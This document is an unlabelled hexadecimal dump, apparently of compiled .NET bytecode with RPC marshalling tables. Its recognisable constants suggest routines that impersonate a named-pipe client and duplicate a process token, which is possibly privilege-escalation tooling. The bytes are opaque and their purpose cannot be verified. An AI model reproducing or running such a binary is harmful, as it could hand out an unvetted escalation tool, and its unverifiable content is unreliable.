E6932B7110713131613142B58111311149A130A110A28B400000AD014000001289800000A6FB500000A6F1600000A6FAA00000A11053122110A28B400000AD014000001289800000A6FB500000A6F1600000A6FAA00000A1305DE0326DE00111417581314111411138E6932A0280900000A1B8D2B000001131511151672F8700070A21115171F2011051B5973B600000AA21115187238710070A21115191F2011041A5973B600000AA211151A7248710070A21115287F00000A6F0A00000A280900000A1B8D2B0000011316111616726A710070A21116171F3D110573B600000AA211161872A0710070A21116191F3D110473B600000AA211161A72A8710070A21116287F00000A6F0A00000A11071317161318386B010000111711189A130B110B289E00000A130C110B28B700000A130D72CA710070110D8C13000001281C00000A130E110B28B400000AD014000001289800000A6FB500000A6F1600000A130FDE0A2672F0710070130FDE0007110B28620000063996000000110B739D00000A28B200000A1310280900000A1F098D010000011319111916110EA21119177204720070A2111918110FA21119191F201105110F6F1600000A6FAA00000A5973B600000AA211191A72A0710070A211191B11108C6A000001A211191C1F201104121028B300000A6FAA00000A5973B600000AA211191D72A0710070A211191E110CA21119286700000A6F0A00000A2B6D280900000A1E8D2B000001131A111A16110EA2111A17721E720070A2111A18110FA2111A191F201105110F6F1600000A6FAA00000A5973B600000AA2111A1A72A0710070A2111A1B1F2E110473B600000AA2111A1C72A0710070A2111A1D110CA2111A287F00000A6F0A00000A111817581318111811178E693F8AFEFFFF2A01400000000023002A4D001B6E000001000023002A68001B66000001000023002A83002D2C000001000040014888010301000001000071021F90020A010000011B3002002F00000025000011160A140B73B800000A0B07026FB900000A0C086FBA00000A16FE010ADE0326DE00DE0A072C06076F5800000ADC062A00011C0000000004001A1E000372000001020004001F23000A00000000D20228640000062C16280900000A723872007002281700000A6F0A00000A2A280900000A726872007002281700000A6F0A00000A2A000000133007006C0100002600001128BB00000A0A280900000A729C7200706F0A00000A280900000A72047300706F0A00000A066FBC00000A0D16130438980000000911049A0B280900000A1D8D010000011305110516076FBD00000AA2110517721D0C0070A2110518076FBE00000A8C34000001A21105191F201F16076FBD00000A6F1600000A6FAA00000A076FBE00000A13061206283B00000A6FAA00000A585973B600000AA211051A726C730070A211051B1F201F1073B600000AA211051C727C730070A21105286700000A6F0A00000A1104175813041104098E693F5EFFFFFF066FBF00000A13071613082B7E110711089A0C280900000A1B8D010000011309110916086FC000000AA21109171F201F17086FC000000A6F1600000A6FAA00000A5973B600000AA2110918086FC100000AA21109191F201F17086FC100000A6F1600000A6FAA00000A5973B600000AA211091A7290730070A21109286700000A6F0A00000A110817581308110811078E693F77FFFFFF2A1E02280B00000A2A1E02280B00000A2A4A027B210200047E2200000A286E000006262A00133009008405000027000011141313730C01000613141200FE1526000002286E00000A1315121572A8730070286F00000A0B111472AC73007007281C00000A2003000040161F0A20000800002000080000161200286D0000067D2102000411147B210200047E2200000A288D00000A3902050000280900000A72E0730070721874007011147B210200048C32000001282A00000A6F0A00000A73040100060C1203FE15630000027E2200000A130408723A74007028C200000A281C00000A1204141203166F060100062611047E2200000A288D00000A398D040000081104200001000016724674007028C200000A07282A00000A166F08010006153B4E040000280900000A72E0730070726474007011048C32000001282A00000A6F0A00000A11132D0F1114FE060D01000673C300000A1313111373C400000A130511056FC500000A110520881300006FC600000A39E4030000280900000A72C07400706F0A00000A735F00000A130611147B210200047E2200000A7E2200000A7E2200000A7E2200000A110611066FC700000A286F00000626280900000A72FA74007028C800000A281700000A6F0A00000A280900000A722875007011066F1600000A281700000A6F0A00000A11147B2102000428700000063945030000280900000A726C7500706F0A00000A7E2200000A1307286C00000620FF010F006A161207287100000639FD020000280900000A72E073007072BC75007011078C32000001282A00000A6F0A00000A7E2200000A1308110720FF010F006A1618171208287200000639A5020000280900000A72E073007072DC75007011088C32000001282A00000A6F0A00000A7E2200000A1107286A000006395A020000280900000A72FE7500706F0A00000A1209FE15260000027E2200000A130A7E2200000A130B7E2200000A130C7E2200000A130D1209D026000002289800000A289900000A7DA40000041209177DA600000412097E2200000A7DA5000004120A120B12091628750000062C29280900000A7236760070728E760070110A8C32000001110B8C32000001282900000A6F0A00000A2B0F280900000A72B27600706F0A00000A120C120D12091628750000062C29280900000A72EA7600707242770070110C8C32000001110D8C32000001282900000A6F0A00000A2B0F280900000A72667700706F0A00000A110A1716287600000626110C1716287600000626120EFE1527000002120FFE1528000002120E110E8C27000002286C00000A7DA7000004120E729F6500707DA9000004120E110B7DB7000004120E110D7DB8000004120E257BB20000042000010000607DB2000004110816020320000000087E2200000A28A800000A120E120F287800000639CD000000280900000A729E77007072DE770070120F7BBB0000048C34000001282A00000A6F0A00000A110B286B00000626110D286B0000062620021000008D2A00000113101613112B2A11118D2A0000011312111011121111287B00000A280900000A287C00000A11126F7D00000A6F0A00000A110A1110200210000012117E2200000A28770000062DBF110C286B00000626110A286B00000626110B286B00000626110D286B000006261108286B000006261107286B000006261104286B0000062611147B21020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1104286B0000062611147B21020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A11147B21020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1E02280B00000A2A4A027B220200047E2200000A286E000006262A0013300900A205000028000011141314730E01000613151200FE1526000002286E00000A1316121672A8730070286F00000A0B111572AC73007007281C00000A2003000040161F0A20000800002000080000161200286D0000067D2202000411157B220200047E2200000A288D00000A3920050000280900000A72E0730070721874007011157B220200048C32000001282A00000A6F0A00000A73040100060C1203FE15630000027E2200000A130408723A74007028C200000A281C00000A1204141203166F060100062611047E2200000A288D00000A39AB040000081104200001000016724674007028C200000A07282A00000A166F08010006153B6C040000280900000A72E0730070726474007011048C32000001282A00000A6F0A00000A11142D0F1115FE060F01000673C300000A1314111473C400000A130511056FC500000A110520881300006FC600000A3902040000280900000A72C07400706F0A00000A735F00000A130611157B220200047E2200000A7E2200000A7E2200000A7E2200000A110611066FC700000A286F00000626280900000A72FA74007028C800000A281700000A6F0A00000A280900000A722875007011066F1600000A281700000A6F0A00000A11157B2202000428700000063963030000280900000A726C7500706F0A00000A7E2200000A1307286C00000620FF010F006A1612072871000006391B030000280900000A72E073007072BC75007011078C32000001282A00000A6F0A00000A7E2200000A1308110720FF010F006A1618171208287200000639C3020000280900000A72E073007072DC75007011088C32000001282A00000A6F0A00000A7E2200000A1107286A0000063978020000280900000A72FE7500706F0A00000A1209FE15260000027E2200000A130A7E2200000A130B7E2200000A130C7E2200000A130D1209D026000002289800000A289900000A7DA40000041209177DA600000412097E2200000A7DA5000004120A120B12091628750000062C29280900000A7236760070728E760070110A8C32000001110B8C32000001282900000A6F0A00000A2B0F280900000A72B27600706F0A00000A120C120D12091628750000062C29280900000A72EA7600707242770070110C8C32000001110D8C32000001282900000A6F0A00000A2B0F280900000A72667700706F0A00000A110A1716287600000626110C1716287600000626120EFE1527000002120FFE1528000002120E110E8C27000002286C00000A7DA7000004120E729F6500707DA9000004120E110B7DB7000004120E110D7DB8000004120E257BB20000042000010000607DB200000428C900000A720E780070281700000A26722078007002281700000A131011081614111020000000087E2200000A28A800000A120E120F287800000639CD000000280900000A729E77007072DE770070120F7BBB0000048C34000001282A00000A6F0A00000A110B286B00000626110D286B0000062620021000008D2A00000113111613122B2A11128D2A0000011313111111131112287B00000A280900000A287C00000A11136F7D00000A6F0A00000A110A1111200210000012127E2200000A28770000062DBF110C286B00000626110A286B00000626110B286B00000626110D286B000006261108286B000006261107286B000006261104286B0000062611157B22020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1104286B0000062611157B22020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A11157B22020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1E02280B00000A2A0000133006005A000000290000117E2200000A0A026FCC00000A0B07285C00000A2C02030B7230780070026FCD00000A727278007007285B00000A28CE00000A026FCD00000A07026FCF00000A1F09161200287A0000060C082D0673D000000A7A0673D100000A2A0000133003000C0000002A000011140A0203120028800000062A13300700710000002B000011140A160B735F00000A0C086FC700000A0D16130503020612010812031204287D0000062C08061673D200000A2A286D00000A130511051F7A2E09110520EC030000332C07E08D2A0000010A08096FD300000A2616130514020612010812031204287D0000062C08061673D200000A2A142A0000001B300700570100002C000011735F00000A0A066FC700000A0B735F00000A0C086FC700000A0D1413050414510273D500000A1305DE5513061B8D2B000001130A110A167288780070A2110A1711066F2100000AA2110A187292780070A2110A1902A2110A1A72C4780070A2110A287F00000A28CE00000A11066FD600000A28CE00000A021309DDD500000011056FD700000A8D2A000001130711051107166FD800000A1613080311070612010812031204287C0000062D39286D00000A130811081F7A332C06076FD300000A2608096FD300000A261613080311070612010812031204287C0000062D07286D00000A130811082D2504086F1600000A510450285C00000A2C07066F1600000A2A0872206700700628D900000A2A1C8D01000001130B110B1672D4780070A2110B1711088C34000001A2110B1872E2780070A2110B1902A2110B1A7208790070A2110B1B03A2110B286700000A28CE00000A022A11092A0001100000000020000A2A00552C0000011B300500180100002D0000111200FE152B0000021201FE152F000002120002289A0000067E2200000A0C1200120120000800001202288A0000060D092C1D72127900701203724C68007028DB00000A281700000A28CE00000A142A1204FE152B000002120403289A0000060817178D2B000002130A110A168F2B0000021104812B000002110A1205120628900000060D092C2072347900701203724C68007028DB00000A281700000A28CE00000A141309DE6E1105D035000002289800000A28DC00000AA535000002130712077B0001000416312D12077B01010004D030000002289800000A28DC00000AA530000002130812087BF200000473DD00000A1309DE1FDE111105288D000006261106288D00000626DCDE0808288B00000626DC142A11092A011C00000200A70051F800110000000002004F00BC0B0108000000001B300500830000002E0000117E2200000A0A0272587900701616120028930000060B072C3B1A8D010000011304110416727C790070A211041702A2110418729C790070A2110419078C35000001A21104286700000A28CE00000A7EDE00000A2A06D03A000002289800000A28DC00000AA53A0000020C12027B2401000428DF00000A0DDE0806288900000626DC092A00011000000200540025790008000000001B300600800000002F0000117E2200000A0B20100200400C032C08082000001000600C042C040817600C72D4040070027E2200000A72D404007008120128920000060D092D2707D038000002289800000A28DC00000AA5380000020A12007B08010004186FE000000A1304DE1C09737300000A7A077E2200000A288D00000A2C0707288900000626DC11042A011000000200060062680015000000001E02280B00000A2AAE02036FAA00000A185AD17DD100000402027BD10000041858D17DD20000040203288600000A7DD30000042A5E027BD3000004288E00000A027E2200000A7DD30000042A8A027BD10000042D067EE100000A2A027BD3000004027BD1000004185B28E200000A2A5A02037DE800000402047DE900000402057DEA0000042A1E027BE80000042A1E02280B00000A2A1E02280B00000A2A1E027B7B0100042A2202037D7B0100042A0013300600300100003100001102047D6D01000402057D6E010004020E047D7501000402027B6D01000419288700000A7D6F0100041200030E050E0628AF0000061201FE15420000020202FE06A700000673BA0000067D760100040214FE06A800000673BE0000067D770100041201027B76010004289000000A7D7E0100041201027B77010004289000000A7D7F010004021203FE15410000021203157D7C0100041203157D7D010004098C4100000219288700000A7D7201000402068C4500000219288700000A7D73010004020519288700000A7D7001000402078C4200000219288700000A7D740100041202027C70010004288800000A027C73010004288800000A027B78010004289000000A027B79010004289000000A027C74010004288800000A28B100000602088C4600000219288700000A7D710100042A033001004300000000000000027C6F010004288A00000A027C72010004288A00000A027C73010004288A00000A027C70010004288A00000A027C74010004288A00000A027C71010004288A00000A2A0013300100090000001800001102289100000A0A062A1E02288E00000A2A00000013300700BD0100003200001103289200000A0A7E2200000A0B7E2200000A0C72B27900700672CA620070027B75010004285B00000A28CE00000A1472D867007006027B7501000414120128DB0000060D092C2172CA7900701203724C680070289300000A281700000A28CE00000A7E2200000A2A07289200000A120228CC0000060D120128DA00000626092C2172267A00701203724C680070289300000A281700000A28CE00000A7E2200000A2A0228A100000639C70000001204FE1554000002120472D40400707DC2010004120412047BC20100046FAA00000A185A7DC3010004120472D40400707DC4010004120412047BC40100046FAA00000A185A7DC5010004120472D40400707DC60100041204187DC80100041205FE15550000021205177DC90100041205197DCC01000411058C5500000219288700000A13060806161F09120416120528DC0000060D1206288A00000A092C28728A7A00701203724C680070289300000A281700000A28CE00000A030828A80000067E2200000A2A081F0C027B7A01000428DF0000060D092C1B72E67A00701203724C680070289300000A281700000A28CE00000A723A7B0070088C32000001724269007028D900000A28CE00000A082A00000013300200200000002A00001102289200000A0A72627B007006281700000A28CE00000A0F0128DA000006262A36027B6D01000403289600000A2A32027C71010004288800000A2A001B3003002E0000001A0000110419288700000A0A0228AA000006020328A90000061200288800000A28D70000060BDE081200288A00000ADC072A000001100000020008001C24000800000000DA0214FE06A500000673B20000067D780100040214FE06A600000673B60000067D790100040220881300007D7A01000402280B00000A2A3E02037D8001000402047D810100042A00133002003D000000330000111200FE15430000021200177D800100041200167D810100040680820100041201FE15430000021201187D800100041201167D810100040780830100042A000000133004009C0000003400001102D045000002289800000A289900000A7D86010004021200FE15440000021200037D840100041200040573AD0000067D85010004067D87010004021201FE154400000212017E8F0100047D8401000412017E830100047D85010004077D88010004027E2200000A7D8901000402167D8A010004027E2200000A7D8B010004027E2200000A7D8C010004027E2200000A7D8D01000402167D8E0100042A03300B002E0000000000000020045D888A20EB1C000020C9110000209F00000020E80000001E161F2B1F101F481F60739A00000A808F0100042A000003300200C80000000000000002037D9801000402047D90010004027E2200000A7D9D01000402057D91010004020E047D92010004027E2200000A7D93010004027E2200000A7D94010004020E057D95010004027E2200000A7D96010004027E2200000A7D9701000402177D990100040220020005007D9A010004027E2200000A7D9B0100040220530200087D9C010004027E2200000A7D9E010004027E2200000A7D9F0100040217737100000A7DA0010004027E2200000A7DA1010004027E2200000A7DA2010004027E2200000A7DA30100042A1330070054000000350000110228AC000006120072787B0070288300000A288400000A1E331A02067EA50100047EA7010004726E670070161628A30000062B1802067EA40100047EA6010004726E670070161628A3000006021728A20000062A0B30010010000000000000000228A4000006DE0702288500000ADC2A011000000200000008080007000000001B3006004D0100003600001103288600000A0A1201FE154C000002057E2200000A81320000017E2200000A0C057E2200000A8132000001288400000A1E33210228AA0000060220C200000028A9000006061201040528CF0000060C38A90000001203FE1532000001098C3200000119288700000A13041204288800000A1305078C4C00000219288700000A13061206288800000A13070220B60000001A8D3200000113091109168F320000010681320000011109178F32000001110781320000011109188F3200000104737100000A81320000011109198F3200000111058132000001110928AB0000060C051105288900000A8132000001DE0F1204288A00000A1206288A00000ADCDE2C2672C27B0070288B00000A130A120A724C680070289300000A281700000A28CE00000A288B00000A1308DE1FDE14067E2200000A288D00000A2C0606288E00000ADC1202288F00000A692A11082A000000414C0000020000008A00000064000000EE0000000F000000000000000000000020000000DF000000FF0000002C0000005C00000102000000200000000D0100002D01000014000000000000001B300400B0000000370000117E2200000A0A288400000A1E33160228AA000006021628A90000060328CD0000060A2B520371320000010B078C3200000119288700000A0C1202288800000A0D0216178D3200000113051105168F32000001098132000001110528AB0000060A0309288900000A8132000001DE081202288A00000ADCDE2C2672F47B0070288B00000A13061206724C680070289300000A281700000A28CE00000A288B00000A1304DE091200288F00000A692A11042A011C0000020040002E6E000800000000000006007278002C5C0000011B300500EC000000380000117E2200000A0A7E2200000A0B288400000A1E331D0228AA00000602200001000028A90000060304120128D00000060A2B757E2200000A0C088C3200000119288700000A0D1203288800000A13040220F2000000198D3200000113061106168F320000010381320000011106178F32000001046E739400000A81320000011106188F3200000111048132000001110628AB0000060A1104288900000A0BDE081203288A00000ADC05020728C700000651DE2F26051451721C7C0070288B00000A13071207724C680070289300000A281700000A28CE00000A288B00000A1305DE091200288F00000A692A11052A011C000002004D00519E00080000000000000600ABB1002F5C00000113300400A800000039000011037E2200000A287200000A2C02142A03D04D000002289800000A28DC00000AA54D0000020A739F0000060B0712007BB001000412007BAE010004185B28E200000A7D5C0100040712007BB101000473DD00000A7D5D01000412007BB00100047E2200000A288D00000A2C1612007BAF01000416310C12007BB001000428A600000612007BB10100047E2200000A288D00000A2C0C12007BB101000428A60000060328A6000006072A1B300800080200003A00001173E600000A0A7E2200000A0B0514510E0516547E2200000A0C1203FE1551000002098C5100000219288700000A13041204288800000A13050611046FE700000A02040628C90000061306288400000A1E33270228AA00000602200A02000028A9000006031106120211050E040E0528D10000060B38F500000011068C4E00000219288700000A13071207288800000A13087E2200000A130911098C3200000119288700000A130A120A288800000A130B7E2200000A130C110C8C3200000119288700000A130D120D288800000A130E0220EC0100001C8D3200000113111111168F320000010381320000011111178F32000001110881320000011111188F32000001110B81320000011111198F320000011105813200000111111A8F320000010E046E739400000A813200000111111B8F32000001110E8132000001111128AB0000060B110B288900000A0C0E05110E28E800000A54DE161207288A00000A120A288A00000A120D288A00000ADC077E2200000A287200000A2D12072007010000737100000A287200000A2C0B050208110528CA00000651DE2C2672667C0070288B00000A13121212724C680070289300000A281700000A28CE00000A288B00000A1310DE3FDE34066FE900000A13132B10121328EA00000A130F120F288A00000A121328EB00000A2DE7DE0E1213FE160600001B6F2000000ADCDC1201288F00000A692A11102A4164000002000000CF000000890000005801000016000000000000000000000013000000870100009A0100002C0000005C00000102000000D00100001D000000ED0100000E000000000000000200000013000000B5010000C8010000340000000000000013300300860000003B0000111200FE154E0000021200038E697DB2010004038E698D320000010B160C2B4003089A6FD700000A8D2A0000010D03089A09166FD800000A0919288700000A13040411046FE700000A07088F320000011204288800000A81320000010817580C08038E6932BA0719288700000A13050411056FE700000A12001205288800000A7DB3010004062A0000133005007C0200003C000011037E2200000A287200000A2D0D047E2200000A287200000A2C02142A03D04F000002289800000A28DC00000AA54F0000020A04D051000002289800000A28DC00000AA5510000020BD052000002289800000A289900000A0CD050000002289800000A289900000A0D12007BB4010004E08D2B000001130412007BB4010004E08D12000001130516130638BC00000012007CB5010004288F00000A096A11066E5A58739400000AD050000002289800000A28DC00000AA550000002130712077BB90100047E2200000A288D00000A2C1B11041106E012077BB901000412077BB7010004185B28E200000AA211051106E012077BBA01000473DD00000AA212077BB90100047E2200000A288D00000A2C1612077BB801000416310C12077BB901000428A600000612077BBA0100047E2200000A288D00000A2C0C12077BBA01000428A6000006110617581306110612007BB40100044436FFFFFF12017BBB010004E08D3F000002130816130938DE00000012017CBC010004288F00000A086A11096E5A58739400000AD052000002289800000A28DC00000AA552000002130A11081109E073A0000006A2120A7BC00100047E2200000A288D00000A2C2011081109E09A120A7BC0010004120A7BBE010004185B28E200000A7D6B01000411081109E09A120A7BBD01000428EC00000A7D6C01000411081109E09A1104120A7BC1010004E09A7D6901000411081109E09A1105120A7BC1010004E09A7D6A010004120A7BC00100047E2200000A288D00000A2C16120A7BBF01000416310C120A7BC001000428A6000006110917581309110912017BBB0100044414FFFFFF12007BB501000428A600000612017BBC01000428A60000060328A600000611082A0048000000000000080030E000000000380040004402080100000000000018010000060070000400080000480000000001000400320000000000000040000801000000000000004800000000020004003200000000000000400008010000000000000048000000000300040032000000000000004000080100000000000000480000000004000400320000000000000040000801000000000000004800000000050004003200000000000000400008010000000000000048000000000600140031040000005C22004000460508050000010000000A0000000A000B010400C00048000800080010010C00FA00700010000800004800000000070010003040000000002A0008004504080301000000000008000000FE00480004000D0013200800020170000C00080000480000000008000400320000000000000040000801000000000000004800000000090004003200000000000000400008010000000000000048000000000A0004003200000000000000400008010000000000000048000000000B0004003200000000000000400008010000000000000048000000000C0004003200000000000000400008010000000000000048000000000D0004003200000000000000400008010000000000000048000000000E0004003200000000000000400008010000000000000048000000000F001C00304000000000460024004707080701000100000008000000FE000B010400F802132008000A031B010C008603480010000D00580114000800700018000800000000000048000000000000100030E0000000003800400044020A01000000000000000018010000060070000800080000480000000001000800320000000000000040000A01000000000000000000480000000002000800320000000000000040000A01000000000000000000480000000003000800320000000000000040000A01000000000000000000480000000004000800320000000000000040000A01000000000000000000480000000005000800320000000000000040000A0100000000000000000048000000000600280031080000005C2200400046050A0500000100000000000A0000000A000B010800A60048001000080010011800CC00700020000800004800000000070020003040000000002A00080045040A03010000000000000008000000D000480008000D0013201000D40070001800080000480000000008000800320000000000000040000A01000000000000000000480000000009000800320000000000000040000A0100000000000000000048000000000A000800320000000000000040000A0100000000000000000048000000000B000800320000000000000040000A0100000000000000000048000000000C000800320000000000000040000A0100000000000000000048000000000D000800320000000000000040000A0100000000000000000048000000000E000800320000000000000040000A0100000000000000000048000000000F0038003040000000004600240047070A07010001000000000008000000D0000B01080074021320100088021B0118000003480020000D005801280008007000300008000000000000001104020030E100001208055C1100B0001C000100170002000100170000000100025B160308004B5C465C040004001200E0FF5B0606085C5B1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1B000100005900000000025B17010400F0FF0202065B160314004B5C465C040004001200CEFF465C080008001200C4FF465C0C000C001200D4FF465C100010001200CAFF5B020206080808085C5B1A030C0000000000080D02023E5B160318004B5C465C040004001208025C465C0800080012004CFF465C10001000120098FF465C140014001200C6FF5B0808080808085B1104020030A000003041000011140200120002002B0D260004000100020030000D70010000005200020000007A00030000009A0005000000940004000000AE0006000000BE0007000000D40009000000F0000A000000F8000B000000F8000C0000001E010D00000018010E0000005E00FFFF150708000B5B1A0728000000000008084C00EEFF02434C00E8FF08405C5BB70800000000E80300001B030400190008000000085B1A030C0000000A00023F364C00DDFF5B1200E2FF1C010200175502000100175500000100055B16030C004B5C465C040004001200E0FF465C0800080012007CFE5B060608085B160308004B5C465C040004001200C0FF5B0606085C5B1A010400000000000D5B1C01020017550A000100175508000100055B160310004B5C465C0400040012008EFF465C0C000C001200D6FF5B0606080606085B150710004C002CFF4C0028FF5C5B15000100025B1500020002025C5B1D000800015B150310000806064C00F1FF5B1C010200175512000100175510000100055B16032C004B5C465C0400040012002CFF465C0C000C00120074FF465C140014001200CCFF465C280028001200B4FD5B0606080606080606084C00A8FF085B11004200B7080000000000500000160304004B5C465C00000000120086FD5B085C5B1B0304001900000001004B5C484904000000010000000000120066FD5B4C00CDFF5B1A030800000008004C00B6FF365B1200CEFF1114020012002C001B030C001900000001004B5C48490C000000020004000400120084FE08000800120022FD5B4C0089FE5B16030C004B5C465C040004001200C8FF5B0808085C5B11003200B70800000000005000001A031000000000000D4C0077FE085C5B21030000190000000100FFFFFFFF00004C00DEFF5C5B1A030800000008004C00C6FF365B1200DAFF1108085C0000000000001104020030E100001208055C110096001C000100170002000100170000000100025B1A03100000000800060640365C5B1200DEFF1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1B000100005900000000025B17010400F0FF0202065B1A03280000000C0002020640363636365C5B1200C8FF1200C4FF1200DAFF1200D6FF1A030C0000000000080D02023E5B1A03300000000C0008403636084036365C5B1208025C120066FF1200B4FF1200D2FF1104020030A000003041000011140200120002002B0D260008000100020048000D70010000005200020000007A0003000000AE0005000000BA0004000000C60006000000CE0007000000D20009000000DE000A000000E6000B000000E6000C000000FA000D000000F4000E0000008400FFFF150708000B5B1A0728000000000008084C00EEFF02434C00E8FF08405C5BB70800000000E80300001B030400190010000000085B1A03180000000C000243364C00DDFF405C5B1200E0FF1C010200175502000100175500000100055B1A03100000000800060640365C5B1200DEFF1A031800000008004C00E4FF365B12009AFE1A031800000008004C00D2FF365B120088FE1A031000000000004C00C0FF5C5B1A010400000000000D5B1A032000000000004C00A8FF4C00A4FF5C5B150710004C003EFF4C003AFF5C5B15000100025B1500020002025C5B1D000800015B150310000806064C00F1FF5B1A034800000014004C0068FF4C0064FF4C0060FF4C00DEFF365B120012FE11003000B70800000000005000001A03080000000400365B1200F6FD21030000190000000100FFFFFFFF00004C00E0FF5C5B1A03100000000A004C00C8FF40365C5B1200D8FF1114020012002A001A031800000008004C00FCFE365B1200B2FD21030000190000000100FFFFFFFF00004C00DCFF5C5B1A0318000000080008403608405B1200DAFF11003400B70800000000005000001A032000000000000D404C00B2FE08405C5B21030000190000000100FFFFFFFF00004C00DCFF5C5B1A03100000000A004C00C4FF40365C5B1200D8FF1108085C0000000003300300690000000000000020350200008D2A00000125D011020004289700000A80A401000420550200008D2A00000125D012020004289700000A80A5010004209D0300008D2A00000125D013020004289700000A80A601000420190300008D2A00000125D014020004289700000A80A70100042A1E02280B00000A2A1E02280B00000A2A0000001330070054000000350000110228AC000006120072987C0070288300000A288400000A1E331A02067EDD0100047EDF01000472E27C0070171628A30000062B1802067EDC0100047EDE01000472E27C0070171628A3000006020328A20000062A0B30010010000000000000000228A4000006DE0702288500000ADC2A011000000200000008080007000000001B300500E90000003D0000117E2200000A0A05145103288600000A0B1202FE1559000002288400000A1E33190228AA000006021628A90000060704120228CE0000060A2B79088C5900000219288700000A0D1203288800000A13040216198D3200000113061106168F320000010781320000011106178F3200000104737100000A81320000011106188F3200000111048132000001110628AB0000060A1104D059000002289800000A28DC00000AA5590000020CDE081203288A00000ADCDE0A26288B00000A1305DE28DE14077E2200000A288D00000A2C0607288E00000ADC05020828E7000006511200288F00000A692A11052A0000000128000002004F005BAA000800000000000018009CB4000A5C00000102001800A8C000140000000013300300520100003E00001173ED00000A0AD05A000002289800000A289900000A0B160C381A0100000F017CE1010004288F00000A07085A6A58739400000AD05A000002289800000A28DC00000AA55A0000020D73E3000006130412037BE30100047E2200000A288D00000A2C1F110412037BE3010004289200000A7DCE01000412037BE301000428A600000612037BE20100047E2200000A288D00000A2C1F110412037BE2010004289200000A7DCD01000412037BE201000428A6000006110412037BE40100047DCF010004110412037BE50100047DD0010004110412037BE70100047DD2010004110412037BE60100047DD1010004110412037BE90100047DD401000412037BE80100047E2200000A288D00000A2C1F110412037BE801000473DD00000A7DD301000412037BE801000428A60000060611046FEE00000A0817580C080F017BE00100043FD9FEFFFF0F017BE101000428A6000006062A00000048000000002800100031040000005C08000800470408030100000000000B000000020048000400080013210800AA0070000C00080000000048000000002800200031080000005C0800080047040A0301000000000000000B0000000200480008000800134110007C00700018000800000000000000000000001208255C1104A2001D000800015B150310000806064C00F1FF5B1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B16032C004B5C465C000000001208255C465C040004001208255C465C180018001200D0FF5B080808080808084C009CFF5C5B1B032C001900000001004B5C48492C0000000300000000001208255C040004001208255C18001800120096FF5B4C009FFF5B160308004B5C465C040004001200C0FF5B08085B000000001208255C110474001D000800015B150310000806064C00F1FF5B1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1A03380000000E00363608080808364C00B9FF5B1208255C1208255C1200D4FF21030000190000000100FFFFFFFF00004C00CEFF5C5B1A031000000006000840365B1200DCFF000000000330030063000000000000001F378D2A00000125D015020004289700000A80DC0100041F398D2A00000125D016020004289700000A80DD01000420BF0000008D2A00000125D017020004289700000A80DE010004208D0000008D2A00000125D018020004289700000A80DF0100042A1E027BED0100042A2202037DED0100042A1E027BEE0100042A2202037DEE0100042A1E027BEF0100042A2202037DEF0100042A5602280B00000A020328EC000006020428EA0000062A5602160328F10000062C02172A02170328F10000062A6E032D0902030428F30000062A0317330902030428F20000062A162A00001B300600DA0100003F00001172007D007028CE00000A160A7E2200000A0C73C20000060D090228ED0000067D7A010004090228EB000006200108000012026FC40000060B072C1772327D0070078C34000001287A00000A28CE00000A162A09081B12046FC60000060B072C1D72527D0070078C34000001287A00000A28CE00000A16130DDD5A01000020F40100001305161306161307380D010000728A7D0070110625175813068C34000001287A00000A28CE00000A20E80300008D1200000113081613092B1E1108110911047B5D0100041105251758130528F4000006A2110917581309110911088E6932DA09081108120B18120A6FC80000060B072C0B072007010000408300000016130716130C2B6D110B110C9A7B6C01000417335A110B110C9A7B6B010004285C00000A2D490617580A72BE7D0070110B110C9A7B6B010004281700000A28CE00000A0228E90000062C240228E9000006110B110C9A7B69010004110B110C9A7B6B01000473EF00000A6FF6000006110C1758130C110C11088E692F21060432872B1B11071758130772CA7D0070078C34000001287A00000A28CE00000A072C160720070100002E0E11071F0A2F0F0720730000C0330706043FD3FEFFFFDE0A0912026FC50000060BDC72EA7D007028CE00000A0616FE022A110D2A0000411C000002000000520000006C010000BE0100000A000000000000001B300700380200004000001172267E007028CE00000A160A7E2200000A0B73FA0000060C080228ED0000067D7A010004080228EB000006120120300002006FFC0000060D092C17725A7E0070098C34000001287A00000A28CE00000A162A7E2200000A1304141305161306080712041205201027000012066FFE0000060D092C1D72747E0070098C34000001287A00000A28CE00000A16130FDDA3010000166A1307387501000072B67E0070110511078A9A7BF1010004281700000A28CE00000A7E2200000A13097E2200000A130A14130B16130C0807110511078A9A7BF101000412086F000100060D09162F1A72C67E0070098C34000001287A00000A28CE00000A380D01000008072000010000110812096F010100060D09162F1A72007F0070098C34000001287A00000A28CE00000A38DE00000016130D20050100000D38A000000072207F0070110D251758130D8C34000001287A00000A28CE00000A081109120A16120B2010270000120C6F020100060D092C080920050100003365110B2C6116130E2B4C72BE7D0070110B110E9A7BF1010004281700000A28CE00000A0228E90000062C250228E9000006110511078A9A7BF1010004110B110E9A7BF101000473EF00000A6FF6000006110E1758130E110E110B8E692F08062517580A0432A4092005010000330706043F51FFFFFF726C7F0070098C34000001287A00000A28CE00000ADE0A0812096FFD00000626DC1107176A581307110711066E4481FEFFFFDE0A0812016FFD00000626DC72A47F007028CE00000A0616FE022A110F2A41340000020000002B010000D4000000FF0100000A000000000000000200000052000000CA0100001C0200000A000000000000001330030066000000410000117EF000000A8D2A0000010A0206166FD800000A0619288700000A0B1201288800000A0C0828E10000060D0928F100000A13040911041758D225130428F200000A081104175928E0000006130511050328F300000A0873DD00000A13061201288A00000A11062A1E02280B00000A2A00001330070054000000350000110228AC000006120072E27F0070288300000A288400000A1E331A02067EF30100047EF5010004722C800070171628A30000062B1802067EF20100047EF4010004722C